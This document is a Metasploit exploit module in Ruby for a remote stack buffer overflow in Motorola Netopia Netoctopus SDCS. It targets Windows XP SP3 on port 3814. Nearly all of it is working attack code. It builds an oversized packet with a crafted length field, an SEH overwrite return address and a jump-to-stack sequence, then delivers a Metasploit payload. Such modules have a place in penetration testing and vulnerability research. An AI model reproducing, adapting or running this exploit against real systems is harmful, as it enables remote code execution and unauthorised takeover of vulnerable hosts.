Motorola Netopia Netoctopus SDCS – Remote Stack Buffer Overflow (Metasploit)
require 'msf/core' class MetasploitModule < Msf::Exploit::Remote Rank = GreatRanking include Msf::Exploit::Remote::Tcp def initialize(info = {}) super(update_info(info, 'Name' => 'Motorola Netopia Netoctopus SDCS Stack Buffer Overflow', 'Description' => %q{ This module exploits a vulnerability within the code responsible for parsing client requests. When reading in a request from the network, a 32-bit integer is read in that specifies the number of bytes that follow. This value is not validated, and is then used to read data into a fixed-size stack buffer. }, 'Author' => [ 'James Fitts' ], 'License' => MSF_LICENSE, 'Version' => '$Revision: $', 'References' => [ [ 'URL', 'http://www.verisigninc.com/en_US/products-and-services/network-intelligence-availability/idefense/public-vulnerability-reports/articles/index.xhtml?id=851' ] ], 'DefaultOptions' => { 'EXITFUNC' => 'thread', }, 'Privileged' => true, 'Payload' => { 'Space' => 500, 'DisableNops' => 'true', 'BadChars' => "", 'PrependEncoder' => "\x81\xc4\x54\xf2\xff\xff" }, 'Platform' => 'win', 'Targets' => [ [ 'Windows XP SP3 EN', { # pop ecx/ pop ecx/ retn # msvcrt.dll 'Ret' => 0x0044e046, } ], ], 'DefaultTarget' => 0, 'DisclosureDate' => 'Jul 14 2008')) register_options( [ Opt::RPORT(3814) ], self.class ) end def exploit connect p = payload.encoded pkt = "\x41" * 600 pkt[0, 4] = [0x01000000].pack('V') pkt[8, 4] = [0x01000000].pack('V') pkt[12, 4] = [0x01000000].pack('V') pkt[16, 4] = [0x03000000].pack('V') # this is the value mentioned above pkt[20, 4] = [0x66000000].pack('V') pkt[30, p.length] = p pkt[545, 4] = "\xeb\x06\x90\x90" pkt[549, 4] = [target.ret].pack('V') pkt[558, 6] = "\x81\xc4\x34\x06\x00\x00" # add esp, 1588 pkt[564, 2] = "\xff\xe4" # jmp esp print_status("Trying target %s..." % target.name) sock.put(pkt) handler disconnect end end |